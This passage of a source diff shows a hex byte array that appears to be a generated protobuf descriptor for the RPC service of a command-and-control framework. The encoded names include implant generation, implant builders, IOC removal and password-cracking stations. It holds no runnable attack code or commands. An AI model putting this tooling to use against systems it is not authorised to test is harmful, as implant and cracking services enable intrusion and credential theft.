0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, - 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, - 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, - 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, - 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, - 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, + 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, + 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, + 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, + 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, - 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, - 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, - 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, - 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, - 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, - 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, - 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, - 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, + 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, + 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, + 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, - 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, - 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 